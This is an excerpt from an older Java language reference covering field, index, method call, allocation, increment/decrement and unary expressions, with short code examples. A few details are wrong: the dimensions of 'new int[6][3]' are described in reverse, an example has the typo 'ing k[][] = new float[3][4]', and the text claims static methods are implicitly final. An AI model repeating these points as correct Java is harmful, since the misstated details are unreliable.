A lone identifier that matches the name of a field variable is equivalent to:

this.Identifier

This form of a field expression can be used to access a field variable that is shadowed by a local variable or a formal parameter. For example:

class Shadow {
    int value;
    Shadow(int value) {
        this.value=value;
    }
}

In the above example, the identifier value is used as both the name of a field variable and the name of a formal parameter in the constructor. Within the constructor, the unqualified identifier value refers to the formal parameter, not to the field variable. In order to access the field variable, you have to qualify value with this.

In addition to allowing an object to refer to itself, the keyword this has another use in field expressions. The construct ClassOrInterfaceName.this identifies the enclosing instance of an object that is an instance of an inner class.[2] Consider the following example:

[2] Since this construct fetches an object reference, you might expect it to be a primary expression. However, due to the way in which inner classes are implemented, this construct is actually a field expression.

public class ImageButton extends Canvas {
    ...
    private class MyImage extends Image {
        Image fileImage;
        MyImage(String fileName) throws IOException {
            URL url = new URL(fileName);
            ImageProducer src = (ImageProducer)url.getContent();
            Image fileImage = createImage(src);
            prepareImage(this, ImageButton.this);
        }
    ...

The call to prepareImage() takes two arguments. The first argument is a reference to this instance of the MyImage class. The second argument is a reference to this object's enclosing instance, which is an instance of the ImageButton class.

Here are some examples of field expressions that consist of a PrimaryExpression and an Identifier:

this.myVar
size().height
(new Foo()).bar

A primary expression that appears at the beginning of a field expression must produce a reference to an object. The identifier to the right of the dot must be the name of a field variable in the object referred to by the primary expression. If, at runtime, the primary expression in a field expression produces the value null, a NullPointerException is thrown.

Here's an example of a field expression that consists of a ClassOrInterfaceName and an Identifier:

Double.POSITIVE_INFINITY

A field expression that begins with ClassOrInterfaceName produces a field variable of the specified class. If the field variable is not declared static, the specified class must either be the same class in which the field expression appears or a superclass of that class.

Such a field expression is approximately equivalent to:

((ClassOrInterfaceName)this).Identifier

If ClassOrInterfaceName specifies a class or interface defined in a different package than the package in which the field expression appears, the class name must be qualified by the package in which the class is defined. For example:

java.awt.Event.MOUSE_UP

However, if an import statement imports the specified class, the package name is not necessary.

ClassOrInterfaceName can refer to an inner class or a nested top-level class or interface by qualifying the name of the class or interface with the name of the enclosing class. For example, consider the following declaration:

public class A {
    public class B {
    }
}

Based on this declaration, you can create a new instance of B as follows:

new A.B()

Most field expressions produce variables when they are evaluated. This means that the field expression can be used as the left operand of an assignment operator. A field expression produces a pure value, rather than a variable, if the identifier at the end of the field expression is a field variable that is declared final. Such a field expression returns a pure value because the value of a final variable cannot be modified. A field expression that produces a pure value cannot be the left operand of an assignment operator, or the operand of the ++ or - - operators. Here's an erroneous example:

final int four=4
four++

This is equivalent to:

4++

As such, it causes the Java compiler to issue an error message.

When the Java compiler detects an expression that uses the value of a local variable that may not have been initialized, it issues an error message. For example:

{
    int x;
    if (testForSomething())
        x = 4;
    System.out.println(x);    // Compiler complains
}

The compiler complains about the use of x in the println() method because x may not have been given an explicit value when the program reaches that statement. Even though there is an assignment to x in the preceding statement, the compiler recognizes that the assignment may not have been performed, since it is enclosed within a conditional statement. The Java language specification requires that a compiler issue an error message when it detects an uninitialized local variable.

References
Identifiers;
Inheritance;
Inner Classes;
Interface Variables;
Local Variables;
Packages;
Primary Expressions;
Runtime exceptions;
Variables

Index Expressions

An index expression is a primary expression that produces an array element when it is evaluated. The value produced by an index expression is a variable; it can be used as the left operand of an assignment expression. The data type of an index expression is the data type of the array element produced by the expression:

[Graphic: Figure from the text]

When the compiler evaluates an index expression, the term to the left of the square brackets is evaluated before the expression inside of the square brackets. If the term produces the value null, a NullPointerException is thrown.

Array indexing uses an int-valued expression between the square brackets. If the type of the expression is byte, char, or short, the value is automatically converted to int. An array index cannot be of type long. The value of the array index must be in the range zero to one less than the length of the array. An array object detects an out-of-range index value and throws an ArrayIndexOutOfBoundsException.

Because of the precedence of Java expressions, an array allocation expression can only be indexed when the expression is enclosed in parentheses. For example:

(new int[6])[3]

This expression refers to the fourth element of the newly created array. Leaving out the parentheses results in the following:

new int[6][3]

This is not an index expression, but an array allocation expression that allocates an array of 3 arrays of 6 integers.

References
Array Allocation Expressions;
Array Types;
Expression 4;
Term 4.1;
Exceptions

Method Call Expression

A method call expression is a primary expression that invokes a method:

[Graphic: Figure from the text]

[Graphic: Figure from the text]

A method call expression produces the pure value returned by the method; the type of this value is specified by the return type in the method declaration. But if the method has the return type void, the expression does not produce a value.

The PrimaryExpression, if present, is evaluated first. Then expressions provided as method arguments are evaluated from left to right. Finally, the method is invoked.

When a method call is made to a method that is not static, the call is made through an object reference:

  • If the method call expression does not contain a PrimaryExpression or ClassOrInterfaceName before the method name, the method call is made implicitly through the object referenced by the keyword this. This form of a method call expression is treated as if it were written:

    this.Identifier(...)

  • If the method call expression contains a PrimaryExpression before the method name, the call is made through the object reference produced by the PrimaryExpression.

  • If the method call expression contains a ClassOrInterfaceName before the method name, then the specified class must either be the same class in which the method call expression appears or a superclass of that class. In this case, the method call is made through the object referenced by the keyword this. This form of a method call expression is treated as if it were written:

    ((ClassOrInterfaceName)this).Identifier(...)

When a method call is made to a static method, the call is made through a class or interface type:

  • If the method call expression does not contain a PrimaryExpression or ClassOrInterfaceName before the method name, the method call is made implicitly through the class that contains the call.

  • If the method call expression contains a PrimaryExpression before the method name, the call is made through the class of the object reference produced by the PrimaryExpression.

  • If the method call expression contains a ClassOrInterfaceName before the method name, the method call is made through the specified class or interface type.

The rules for supplying actual values for the formal parameters of a method are similar to the rules for assignment. A particular value can be specified as the actual value of a formal parameter if and only if it is assignment-compatible with the type of the formal parameter. You can use a type cast to make a value assignment compatible with a formal parameter.

The process that the Java compiler uses to select the actual method that will be invoked at runtime is rather involved. The compiler begins by finding any methods that have the specified name. If the method call has been made through an object reference, the compiler searches in the class of that object reference. If the call has been made through a specific class or interface name, the compiler searches in that class or interface. The compiler searches all of the methods defined in the particular class or interface, as well as any methods that are inherited from superclasses or super-interfaces. At this point, the compiler is searching for both static and non-static methods, since it does not know which type of method is being called.

If the compiler finds more than one method, that means the method is overloaded. Consider this example:

public class MyMath {
    public int square(int x) { return x*x; }
    public long square(long x) { return x*x; }
    public float square(float x) { return x*x; }
    public double square(double x) { return x*x; }
    public double hypotenuse(double x, double y) {
        return Math.sqrt(x*x + y*y);
    }
}

In the above example, the square() method is overloaded, while hypotenuse() is not.

If the method is overloaded, the compiler then determines which of the methods has formal parameters that are compatible with the given arguments. If more than one method is compatible with the given arguments, the method that most closely matches the given parameters is selected. If the compiler cannot select one of the methods as a better match than the others, the method selection process fails and the compiler issues an error message. Note that the return types of overloaded methods play no part in selecting which method is to be invoked.

After the compiler successfully selects the method that most closely matches the specified arguments, it knows the name and signature of the method that will be invoked at runtime. It does not, however, know for certain what class that method will come from. Although the compiler may have selected a method from MyMath, it is possible that a subclass of MyMath could define a method that has the same name and the same number and types of parameters as the selected method. In this case, the method in the subclass overrides the method in MyMath. The compiler cannot know about overriding methods, so it generates runtime code that dynamically selects the appropriate method.

Here are the details of the three-step method selection process:

Step One

The method definitions are searched for methods that, taken in isolation, could be called by the method call expression. If the method call expression uses an object reference, the search takes place in the class of that object reference. If the expression uses a specific class or interface name, the search takes place in that class or interface. The search includes all of the methods defined in the particular class or interface, as well as any methods inherited from superclasses or super-interfaces. The search also includes both static and non-static methods.

A method is a candidate if it meets the following criteria:

  • The name of the method is the same as the name specified in the method call expression.

  • The method is accessible to the method call expression, based on any access modifiers specified in the method's declaration.

  • The number of formal parameters declared for the method is the same as the number of actual arguments provided in the method call expression.

  • The data type of each actual parameter is assignment-compatible with the corresponding formal parameter.

Consider the following expression that calls a method defined in the preceding example:

MyMath m;
m.square(3.4F)

Here is how the Java compiler uses the above criteria to decide which method the expression actually calls:

  • The name square matches four methods defined in the MyMath class, so the compiler must decide which one of those methods to invoke.

  • All four methods are declared public, so they are all accessible to the above expression and are thus all still viable candidates.

  • The method call expression provides one argument. Since the four methods under consideration each take one argument, there are still four possible choices.

  • The method call expression is passing a float argument. Because a float value cannot be assigned to an int or a long variable, the compiler can eliminate the versions of square() that take these types of arguments. That still leaves two possible methods for the above expression: the version of square() that takes a float argument and the one that takes a double argument.

Step Two

If more than one method meets the criteria in Step One, the compiler tries to determine if one method is a more specific match than the others. If there is no method that matches more specifically, the selection process fails and the compiler issues an error message.

Given two methods, A() and B(), that are both candidates to be invoked by the same method call expression, A() is more specific than B() if:

  • The class in which the method A() is declared is the same class or a subclass of the class in which the method B() is declared.

  • Each parameter of A() is assignment-compatible with the corresponding parameter of B().

Let's go back to our previous example. We concluded by narrowing the possible methods that the expression m.square(3.4F) might match to the methods in MyMath named square() that take either a float or a double argument. Using the criteria of this step, we can further narrow the possibilities. These methods are declared in the same class, but the version of square() that takes a float value is more specific than the one that takes a double value. It is more specific because a float value can be assigned to a double variable, but a double value cannot be assigned to a float variable without a type cast.

There are some cases in which it is not possible to choose one method that is more specific than others. When this happens, the Java compiler treats the situation as an error and issues an appropriate error message.

For example, consider a situation where the compiler needs to choose between two methods declared as follows:

double foo(float x, double y)
double foo(double x, float y)

Neither method is more specific than the other. The first method is not more specific because the type of its second parameter is double and double values cannot be assigned to float variables. The second method is not more specific because of a similar problem with its first parameter.

Step Three

After successfully completing the previous two steps, the Java compiler knows that the expression in our example will call a method named square() and that the method will take one float argument. However, the compiler does not know if the method called at runtime will be the one defined in the MyMath class. It is possible that a subclass of MyMath could define a method that is also called square() and takes a single float argument. This method in a subclass would override the method in MyMath. If the variable m in the expression m.square(3.4F) refers to such a subclass, the method defined in the subclass is called instead of the one defined in MyMath.

The Java compiler generates code to determine at runtime which method named square() that takes a single float argument it should call. The Java compiler must always generate such runtime code for method call expressions, unless it is able to determine at compile time the exact method to be invoked at runtime.

There are four cases in which the compiler can know exactly which method is to be called at runtime:

  • The method is called through an object reference, and the type of the reference is a final class. Since the type of the reference is a final class, Java does not allow any subclasses of that class to be defined. Therefore, the object reference will always refer to an object of the class declared final. The Java compiler knows the actual class that the reference will refer to, so it can know the actual method to be called at runtime.

  • The method is invoked through an object reference, and the type of the reference is a class that defines or inherits a final method that has the method name, number of parameters, and types of parameters determined by the preceding steps. In this case, the compiler knows the actual method to be called at runtime because final methods cannot be overridden.

  • The method is a static method. When a method is declared static, it is also implicitly declared final. Thus, the compiler can be sure that the method to be called at runtime is the one defined in or inherited by the specified class that has the method name, number of parameters, and types of parameters determined by the preceding steps.

  • The compiler is able to deduce that a method is invoked through an object reference that will always refer to the same class of object at runtime. One way the compiler might deduce this is through data flow analysis.

If none of the above cases applies to a method call expression, the Java compiler must generate runtime code to determine the actual method to be invoked. The runtime selection process begins by getting the class of the object through which the method is being invoked. This class is searched for a method that has the same name and the same number and types of parameters as the method selected in Step Two. If this class does not contain such a definition, its immediate superclass is searched. If the immediate superclass does not contain an appropriate definition, its superclasses are searched, and so on up the inheritance hierarchy. This search process is called dynamic method lookup.

Dynamic method lookup always begins with the class of the actual object being referenced. The type of the reference being used to access the object does not influence where the search for a method begins. The one exception to this rule occurs when the keyword super is used as part of the method call expression. The form of this type of method call expression is:

super.Identifier(...)

In this case, dynamic method lookup begins by searching the superclass of the class that the calling code appears in.

Now that we've gone through the entire method selection process, let's consider an example that illustrates the process:

class A {}
class B extends A {}
class C extends B {}
class D extends C {}
class W {
    void foo(D d) {System.out.println("C");}
}
class X extends W {
    void foo(A a) {System.out.println("A");}
    void foo(B b) {System.out.println("X.B");}
}
class Y extends X {
    void foo(B b) {System.out.println("Y.B");}
}
class Z extends Y {
    void foo(C c) {System.out.println("D");}
}
public class CallSelection {
    public static void main(String [] argv) {
        Z z = new Z();
        ((X) z).foo(new C());
    }
}

In the class CallSelection, the method main() contains a call to a method named foo(). This method is called through an object reference. Although the object refers to an instance of the class Z, it is treated as an instance of the class X because the reference is type cast to the class X. The process of selecting which method to call proceeds as follows:

  1. The compiler finds all of the methods named foo() that are accessible through an object of class X: foo(A), foo(B), and foo(D). However, because a reference to an object of class C cannot be assigned to a variable of class D, foo(D) is not a candidate to be invoked by the method call expression.

  2. Now the compiler must choose one of the two remaining foo() methods as more specific than the other. Both methods are defined in the same class, but foo(B) is more specific than foo(A) because a reference to an object of class B can be assigned to a variable declared with a type of class A.

  3. At runtime, the dynamic method lookup process finds that it has a reference to an object of class Z. The fact that the reference is cast to class X is not significant, since dynamic lookup is concerned with the class of an object, not the type of the reference used to access the object. The definition of class Z is searched for a method named foo() that takes one parameter that is a reference to an object of class B. No such method is found in the definition of class Z, so its immediate superclass, class Y, is searched. Such a method is found in class Y, so that method is invoked.

Here is another example that shows some ambiguous and erroneous method call expressions:

class A {}
class B extends A {}
class AmbiguousCall {
    void foo(B b, double x){}
    void foo(A a, int i){}
    void doit() {
        foo(new A(), 8);   // Matches foo(A, int)
        foo(new A(), 8.0); // Error: doesn't match anything
        foo(new B(), 8);   // Error: ambiguous, matches both
        foo(new B(), 8.0); // Matches foo(B, double)
    }
}

References
Assignment Compatibility;
ClassOrInterfaceName 4.1.6;
Casts;
Expression 4;
Identifiers;
Inheritance;
Interface Methods;
Methods;
Primary Expressions

Class Literals

A class literal is an expression that produces a reference to a Class object that identifies a specified data type. Class literals are not supported prior to Java 1.1. Here's the syntax for a class literal:

[Graphic: Figure from the text]

If the type in a class literal is a reference type, the class literal produces a reference to the Class object that defines the specified reference type. The following are some examples of this type of class literal:

String.class
java.util.Stack.class
myNewClass.class

Such a class literal can throw a NoClassDefFoundError if the specified class is not available.

You can also call Class.forName() with the name of a specified reference type to retrieve the Class object for that type. For example:

Class.forName("java.util.Stack")

A class literal and a call to Class.forName() for the same reference type return the same Class object. There are certain situations when it makes sense to use a class literal, while in other cases a call to Class.forName() is more appropriate. Here are the differences between the two techniques for retrieving a Class object:

  • A class literal cannot contain an expression, so it always refers to the same type. However, the argument passed to Class.forName() can be an expression that produces different strings that name different classes.

  • The class or interface name passed to Class.forName() must be fully qualified by its package name. The class or interface name in a class literal, however, does not typically need to include a package name because the Java compiler can use information provided in package and import directives to deduce the package name.

  • The name of an inner class can be used directly with a class literal. Because of the way that inner-class names are encoded, however, when an inner-class name is passed to Class.forName(), the name must contain dollar signs ($) in place of dots (.).

  • The efficiency of a class literal is comparable to a field reference; it is more efficient than the method call required by Class.forName().

If the type in a class literal is void or a primitive type, the class literal produces a reference to a unique Class object that represents void or the specified type. The special Class object that represents void or a primitive type can be distinguished from a Class object that represents a reference type by calling its isPrimitive() method. This method only returns true if the Class object represents void or a primitive type. The getName() method of a special Class object returns a string that contains the name of the primitive type represented by the object. The easiest way to determine the primitive type of a special Class object is to compare it to the TYPE variables of the primitive wrapper classes. The following comparisons always produce true:

boolean.class == Boolean.TYPE
byte.class == Byte.TYPE
short.class == Short.TYPE
int.class == Integer.TYPE
long.class == Long.TYPE
char.class == Character.TYPE
float.class == Float.TYPE
double.class == Double.TYPE
void.class == Void.TYPE

References
Boolean;
Byte;
Character;
Class;
Double;
Errors;
Float;
Inner Classes;
Integer;
Long;
Short;
Void;
Type 3

Previous | Home | Next
Reference Types | Book Index | Allocation Expressions
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.2 Allocation Expressions

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.2 Allocation Expressions

An allocation expression is a primary expression that creates an object or an array. An allocation expression also produces a reference to the newly created object or array:

[Graphic: Figure from the text]

[Graphic: Figure from the text]

When AllocationExpression contains parentheses, the allocation expression creates a non-array object. When AllocationExpression contains square brackets, the allocation expression creates an array.

An object created by an allocation expression continues to exist until the program terminates or it is freed by the garbage collector (see Object Destruction). Consider the following code:

class X {
    Double perm;
    void foo() {
        Double d = new Double(8.9473);
        int a[] = new int [2];
        d = new Double(3.1415926);
        a[0] = d.intValue();
        perm = d;
    }
}

The first line of foo() creates a Double object and uses it as the initial value of the variable d. The second line creates an array of integers and uses it as the initial value of the variable a. At this point, neither of the two objects that has been created is a candidate for garbage collection because there is a variable referencing each of them.

The third line of foo creates another Double object and assigns it to the variable d. Now there is nothing that refers to the first Double object that we created, so that object can now be garbage collected at any time.

When the block in this example finishes executing, the variables declared inside of the block, a and d, pass out of scope. Now there is nothing referring to the array object that we created; now that object can be garbage-collected at any time. However, because the variable perm now refers to the second Double object we created, that object is not a candidate for garbage collection.

References
ArgumentList 4.1.8;
ClassBody 5.4;
Variable initializers;
Expression 4;
Identifiers;
Object Creation;
Object Destruction;
Primary Expressions;
Type 3

Object Allocation Expressions

An allocation expression that contains parentheses creates a non-array object; that is, an instance of a class. For example:

new Double(93.1872)

The Type in an object allocation expression must be a class or interface type. The argument list supplied between the parentheses provides the actual arguments to be passed to the object's constructor. However, if a ClassBody follows the parentheses, no arguments may appear between the parentheses, and different rules apply. (These rules are discussed in Allocating instances of anonymous classes.)

If new is preceded by a PrimaryExpression and a dot, the PrimaryExpression must produce a reference to an object. Furthermore, the object's class must be an inner or nested top-level class that is named by the identifier that follows new. If the specified class is a non-static inner class, the object created by the allocation expression has the object referenced by the PrimaryExpression as its enclosing instance. For example:

class Z {
    class Y {
    ...
    }
    public static void main(String[] argv) {
        Z myZ = new Z();
        Z.Y myY = myZ.new Y();
    }
}

In the preceding example, we must supply an explicit enclosing instance of Z to create a Z.Y object because main() is a static method. A non-static method of Z could create an instance of Z.Y without supplying an explicit enclosing instance of Z because the method itself is associated with an instance of Z. However, because a static method is not associated with an instance of its class, it must supply an explicit enclosing instance when creating an instance of an inner class.

The syntax that allows new to be preceded by a PrimaryExpression and a dot is not supported prior to Java 1.1.

The remainder of this section applies only to allocation expressions that contain parentheses but no ClassBody. Allocation expressions that contain a ClassBody are described in Allocating instances of anonymous classes.

An object allocation expression performs the following steps:

  1. Creates a new object with all of its instance variables set to their default values. The default values for these variables are determined by their types.

  2. Calls the constructor that matches the given argument list.

  3. Produces a reference to the initialized object.

The process of selecting the appropriate constructor to call is similar to the process used to select the method invoked by a method call expression. The compiler determines which constructors have formal parameters compatible with the given arguments. If there is more than one suitable constructor, the compiler must select the constructor that most closely matches the given arguments. If the compiler cannot select one constructor as a better match than the others, the constructor selection process fails and an error message is issued.

Here are the details of the constructor selection process:

Step One

The constructor definitions are searched for constructors that, taken in isolation, could be called by the allocation expression. A constructor is a candidate if it meets the following criteria:

  • The constructor is accessible to the allocation expression, based on any access modifiers specified in the constructor's declaration.

  • The number of formal parameters declared for the constructor is the same as the number of actual arguments provided in the allocation expression.

  • The data type of each actual parameter is assignment-compatible with the corresponding formal parameter.

Step Two

If more than one constructor meets the criteria in Step One, the Java compiler tries to determine if one constructor is a more specific match than the others. If there is no constructor that matches more specifically, the constructor selection process fails and an error message is issued.

Given two constructors that are both candidates to be invoked by the same object allocation expression, one constructor is more specific than another constructor if each parameter of the first constructor is assignment-compatible with the corresponding parameter of the second constructor.

When an object allocation expression is evaluated, the constructor selected in Step Two is invoked. This constructor returns a reference to the newly created object.

Here's an example that shows how the constructor selection process works:

class Consel {
    Consel() { }
    Consel(Object o, double d) {}
    Consel(String s, int i) {}
    Consel(int i, int j) {}
    public void main(String[] argv) {
        Consel c = new Consel("abc",4);
    }
}

The main() method in the Consel class creates a new Consel object. The process of selecting which constructor to call proceeds as follows:

  1. The compiler finds all of the constructors that are accessible to the new operator. Since all of the constructors are accessible, the compiler then narrows its choices to those constructors that have the same number of formal parameters as the number of actual arguments in the allocation expression. This step eliminates the constructor with no formal parameters, so now there are three choices. The compiler again narrows its choices to those constructors with formal parameters that are assignment-compatible with the actual values. Because a String is not assignment-compatible with an int variable, the compiler eliminates the constructor that takes two int parameters.

  2. Now the compiler must choose which of the two remaining constructors is more specific than the other. Because a String object reference can be assigned to an Object variable and an int value can be assigned to a double variable, the constructor Consel(String s, int i) is the more specific of the two. This constructor is the one that is invoked to create the Consel object.

References
Allocating instances of anonymous classes;
Assignment Compatibility;
ClassBody 5.4;
Class Types;
Constructors;
Interface Types;
Primary Expressions

Allocating instances of anonymous classes

An allocation expression that contains a ClassBody creates an instance of an anonymous class. It is called an anonymous class because it has no name of its own. The variables and methods of an anonymous class are defined in the ClassBody. If the type specified after new is a class, the anonymous class is a subclass of that class. If the type specified after new is an interface, the anonymous class implements that interface and is a subclass of Object. For example:

public class MainFrame extends Frame {
...
    public MainFrame(String title) {
        super(title);
        WindowAdapter listener;
        listener = new WindowAdapter() {
            public void windowClosing(WindowEvent evt) {
                exit();
            }
        };
        addWindowListener(listener);
    }
...
}

The example creates an instance of an anonymous subclass of the WindowAdapter class. If an allocation expression contains a ClassBody, it cannot contain any arguments between the parentheses because an anonymous class cannot declare any constructors. Instead, an anonymous class must use instance initializers to handle any complex initialization.

The body of an anonymous class cannot declare any static variables, static methods, static classes, or static initializers. Anonymous classes are not supported prior to Java 1.1.

References
Anonymous classes;
ClassBody 5.4;
Constructors;
Instance Initializers;
Methods;
Nested Top-Level and Member Classes;
Static Initializers;
Variables

Array Allocation Expressions

An allocation expression that contains square brackets creates an array, such as:

new int[10]

An array allocation expression performs the following steps:

  1. Allocates storage for the array

  2. Sets the length variable of the array and initializes the array elements to their default values

  3. Produces a reference to the initialized array

Although Java does not support multi-dimensional arrays, it does support arrays of arrays. The most important distinction between a multi-dimensional array and an array of arrays is that in an array of arrays, each array need not be of the same length. Because arrays of arrays are most often used to represent multi-dimensional arrays, this book refers to them as multi-dimensional arrays, even though that is not precisely correct.

The type of the array created by an array allocation expression can be expressed by removing both the word new and the expressions from within the square brackets. For example, here is an allocation expression:

new int[3][4][5]

The type of the array produced by that expression is:

int[][][]

This means that the number of dimensions in the array produced by an allocation expression is the same as the number of pairs of square brackets in the allocation expression.

The expressions that appear in the square brackets must be of type int, short, char, or byte. Each of the expressions specifies the length of a single dimension of the array that is being created. For example, the allocation expression above creates an array of 3 arrays of 4 arrays of 5 int values. The length supplied for an array must not be negative. At runtime, if an expression in square brackets produces a negative array length, a NegativeArraySizeException is thrown.

The syntax of an array allocation expression specifies that the first pair of square brackets must contain an expression, while the trailing square brackets do not need to. This means that an array allocation expression can be written to build fewer dimensions of an array than there are dimensions in the array's type. For example, consider this allocation expression:

new char [10][]

The array produced by this allocation expression is an array of arrays of char. The allocation expression creates a single array of 10 elements, where each of those elements is a char array of unspecified length.

Array allocation expressions are often used to initialize array variables. Here are some examples:

int j[] = new int[10];          // array of 10 ints
ing k[][] = new float[3][4];    // array of 3 arrays
                                // of 4 floats

Here's an example that builds an array of different length arrays, or in other words a non-rectangular array of arrays:

int a[][] = new int [3][];
a[0] = new int [5];
a[1] = new int [6];
a[2] = new int [7];

None of the array allocation expressions presented so far have used array initializers. When an array allocation expression does not include an array initializer, the array is created with all of its elements set to a default value. The default value is based on the type of the array. Table 4-1 shows the default values used for the various types in Java.

Table 4.1: Default Values for Array Elements
Array Type | Default Value
byte | 0
char | '\u0000'
short | 0
int | 0
long | 0L
float | 0.0F
double | 0.0
Boolean | false
Object reference | null

If you want to create an array that contains elements with different initial values, you can include an ArrayInitializer at the end of the allocation expression. For example:

new int [] { 4,7,9 }

Notice that there is no expression between the square brackets. If an allocation expression contains square brackets and no ArrayInitializer, at least the first pair of square brackets must contain an expression. However, if an allocation expression does contain an ArrayInitializer, there cannot be any expressions between any of the square brackets. An allocation expression that contains an ArrayInitializer can be used to create an anonymous array: one that is created and initialized without using a variable initializer.

The syntax that allows an ArrayInitializer in an allocation expression is not supported prior to Java 1.1.

References Array Types; Variable initializers; Index Expressions

Previous | Home | Next
Primary Expressions | Book Index | Increment/Decrement Operators
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.3 Increment/Decrement Operators

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.3 Increment/Decrement Operators

The ++ operator is used to increment the contents of a variable or an array element by one, while the - - operator is used to decrement such a value by one. The operand of ++ or - - must evaluate to a variable or an array element; it cannot be an expression that produces a pure value. For example, the following operations succeed because the operand of the ++ operator produces a variable:

int g = 0;
g++;

However, the following uses of ++ generate error messages:

final int h = 23;
h++;
5++;

The expression h++ produces an error because h is declared final, which means that its value cannot be changed. The expression 5++ generates an error message because 5 is a literal value, not a variable.

The increment and decrement operators can be used in both postfix expressions (e.g., i++ or i- -) and in prefix expressions (e.g., ++i or - -i). Although both types of expression have the same side effect of incrementing or decrementing a variable, they differ in the values that they produce. A postfix expression produces a pure value that is the value of the variable before it is incremented or decremented, while a prefix expression produces a pure value that is the value of the variable after it has been incremented or decremented. For example, consider the following code fragment:

int i = 3, j = 3;
System.out.println( "i++ produces " + i++);
System.out.println( "++j produces " + ++j);

The above code fragment produces the following output:

i++ produces 3
++j produces 4

After the code fragment has been evaluated, both i and j have the value 4.

In essence, what you need to remember is that a prefix expression performs its increment or decrement before producing a value, while a postfix expression performs its increment or decrement after producing a value.

Postfix Increment/Decrement Operators

A postfix increment/decrement expression is a primary expression that may be followed by either a ++ or a - -:

[Graphic: Figure from the text]

The postfix increment and decrement operators are equal in precedence and are effectively non-associative.

If a postfix expression includes a ++ or - -, the primary expression must produce a variable or an array element of an arithmetic type. The postfix increment operator (++) has the side effect of incrementing the contents of the variable or array element by one. The postfix decrement operator (- -) has the side effect of decrementing the contents of the variable or array element by one.

The data type of the value produced by a postfix increment/decrement operator is the same as the data type of the variable or array element produced by the primary expression. A postfix increment/decrement operator produces the original pure value stored in the variable or array element before it is incremented or decremented.

The following is an example of using a postfix decrement operator:

char j = '\u0100';
while (j-- > 0)        // call doit for char values
    doit(j);           // '\u00ff' through '\u0000'

This example works because Java treats char as an arithmetic data type.

References Arithmetic Types; Order of Operations; Primary Expressions

Prefix Increment/Decrement Operators

A prefix increment/decrement expression is a primary expression that may be preceded by either a ++ or a - -:

[Graphic: Figure from the text]

The prefix increment and decrement operators are equal in precedence and are effectively non-associative.

If a prefix expression includes a ++ or - -, the primary expression must produce a variable or an array element of an arithmetic type. The prefix increment operator (++) has the side effect of incrementing the contents of the variable or array element by one. The prefix decrement operator (- -) has the side effect of decrementing the contents of the variable or array element by one.

The data type of the value produced by a prefix increment/decrement operator is the same as the data type of the variable or array element produced by the primary expression. A prefix increment/decrement operator produces the pure value stored in the variable or array element after it has been incremented or decremented.

Here's an example of using a prefix increment operator:

void foo(int a[]) {
    int j = -1;
    while (++j < a.length)    // call doit for each element
        doit(a[j]);              // of a
    }

References Arithmetic Types; Order of Operations; Primary Expressions

Previous | Home | Next
Allocation Expressions | Book Index | Unary Operators
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.4 Unary Operators

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.4 Unary Operators

Unary operators are operators that take exactly one argument. Unary operators may appear in a unary expression:

[Graphic: Figure from the text]

The unary plus and minus operators, a Boolean negation operator (!), a bitwise negation operator (~), and the cast construct comprise the unary operators in Java. The unary operators are equal in precedence and are evaluated from right to left.

References
Order of Operations;
Postfix Increment/Decrement Operators;
Prefix Increment/Decrement Operators;
Primary Expressions;
Type 3

Unary Plus Operator +

The unary plus operator (+) can appear as part of a unary expression. The operator does no explicit computation; it produces the same pure value that is produced by its operand. However, the unary + operator may perform a type conversion on its operand. The type of the operand must be an arithmetic data type, or a compile-time error occurs. If the type of the operand is byte, short, or char, the unary + operator produces an int value; otherwise the operator produces a value of the same type as its operand.

References Arithmetic Types

Unary Minus Operator -

The unary minus operator (-) can appear as part of a unary expression. The type of the operand of the unary - operator must be an arithmetic data type, or a compile-time error occurs. The operator produces a pure value that is the arithmetic negation (i.e., additive inverse) of the value of its operand.

The unary - operator may perform a type conversion. If the type of the operand is byte, short, or char, the operation converts the operand to an int before computing the value's arithmetic negation and producing an int value. Otherwise, unary - produces a value of the same type as its operand.

For integer data types, the unary - operator produces a value equivalent to subtracting its operand from zero. There are, however, negative values for which the unary - operator cannot produce a positive value; in these cases it produces the same negative value as its operand. This behavior results from the two's complement representation Java uses for integer values. The magnitude of the most negative number that can be represented using two's complement notation cannot be represented as a positive number. No exception is thrown when the unary - operator is given a value that cannot be negated. However, you can detect this situation by explicitly testing for these special values. The most negative int value is available as the predefined constant Integer.MIN_VALUE and the most negative long value is available as the predefined constant Long.MIN_VALUE.

For floating-point data types, the unary - operator changes the sign of its operand from + to - or from - to +, for both regular values, positive and negative zero, and positive and negative infinity. The only case where this is not true occurs when the operand is not-a-number (NaN). Given the value NaN, the unary - operator produces NaN.

References Arithmetic Types; Integer; Long

Boolean Negation Operator !

The Boolean negation operator (!) may appear as part of a unary expression. The type of the operand of the ! operator must be boolean, or a compile-time error occurs. If the value of its operand is false, the ! operator produces the pure boolean value true. If the value of its operand is true, the operator produces the pure boolean value false.

Here is an example that uses the Boolean negation operator:

public void paint(Graphics g) {
    if (!loaded) {
        //The next 2 lines are executed if loaded is false
        g.drawString("Loading data", 25, 25);
        return;
    }
    g.drawImage(img, 25, 25, this);
}

References Boolean Type

Bitwise Negation Operator ~

The bitwise negation operator (~) may appear as part of a unary expression. The type of the operand of the ~ operator must be an integer data type, or a compile-time error occurs. The ~ operator may perform a type conversion before it performs its computation. If the type of the operand is byte, short, or char, the operator converts its operand to int before producing a value. Otherwise the ~ operator produces a value of the same type as its operand.

After type conversion, the bitwise negation operator produces a pure value that is the bitwise complement of its operand. In other words, if a bit in the converted operand contains a one, the corresponding bit in the result contains a zero. If a bit in the converted operand contains a zero, the corresponding bit in the result contains a one.

Here's an example that shows the use of the bitwise negation operator:

// zero low order four bits
int getNibble(int x) {
    return x & ~0xf;
}

References Integer types

Casts

A Type enclosed in parentheses specifies a type cast operation. A cast may appear as part of a unary expression. A cast operation always produces a pure value of the specified type, by converting its operand to that type if necessary. This is different from a type cast in C/C++, which can produce garbage if it is given a pointer to a data type different than that implied by the pointer's declaration. If the actual data type of the operand of a cast cannot be guaranteed at compile-time, the Java compiler must produce code to check the type of the operand at runtime. In Java, any value that gets past all of the type-checking done on a cast is guaranteed to be compatible with the type specified by the cast.

A cast can convert between certain primitive types. A cast between object reference types never alters the type or content of the object, but may alter the type of the reference to the object.

